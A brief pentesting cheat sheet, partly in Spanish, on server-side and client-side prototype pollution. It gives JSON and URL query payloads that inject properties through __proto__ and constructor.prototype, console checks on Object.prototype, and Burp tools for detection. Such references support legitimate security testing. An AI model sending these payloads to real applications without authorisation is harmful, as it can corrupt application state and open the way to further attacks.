Prototype pollution

Server-side prototype pollution

JSON-based input

{
    "__proto__":{
        "evilProperty": "evilValue"
    }
}

{
    "constructor": {
        "prototype": {
            "evilProperty": "evilValue"
        }
    }
}

Herramientas

• Server-side prototype pollution scanner (Burp extension)

Client-side prototype pollution

example.com/?__proto__[evilProperty]=evilValue
example.com/?__proto__.evilProperty=evilValue

En la consola del navegador, inspeccionar Object.prototype para verificar si la propiedad ha sido contaminada exitosamente.

Object.prototype
Object.prototype.evilProperty

Herramientas

• DOM Invader (Burp Suite)